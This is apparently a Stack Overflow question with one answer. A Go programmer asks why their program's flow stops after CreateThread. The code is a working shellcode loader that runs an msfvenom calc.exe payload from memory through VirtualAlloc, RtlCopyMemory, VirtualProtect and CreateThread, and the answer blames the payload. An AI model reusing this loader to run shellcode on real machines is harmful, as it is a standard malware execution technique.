'Go: Why do processes/Threads started using Win32API funcs seem to hijack and kill the parent proccess?
Now, the following code does what it's supposed to do, load calc.exe to memory and execute it, it does that fine.
I've stitched together this code to show CreateThread() Killing my program's execution flow right before popping calc.exe, Simply after CreateThread.Call(), No other instructions are executed after it
And i believe this isn't a memory allocation issue, because if i wrap CreateThread() in a goroutine (go runThread() ) It executes a few loop cycles before popping calc.exe
package main
import (
"fmt"
"encoding/hex"
"golang.org/x/sys/windows"
"log"
"unsafe"
)
func main(){
RunCreateThread()
for {
fmt.Println("Running infinitely")
}
}
func RunCreateThread() {
//calc.exe HEX
shellcode, _ :=hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500")
addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil {11
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
ntdll := windows.NewLazySystemDLL("ntdll.dll")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
}
var oldProtect uint32
errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
if errVirtualProtect != nil {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
CreateThread := kernel32.NewProc("CreateThread")
thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
}
_, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
}
I'm curious to why this happens?
Solution 1:[1]
As it turns out, it was indeed a shellcode issue, The code calls Fine, I didn't know that msfvenom payloads often mess with their host callers in weird ways sometimes.
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|---|
| Solution 1 | THX1339 |
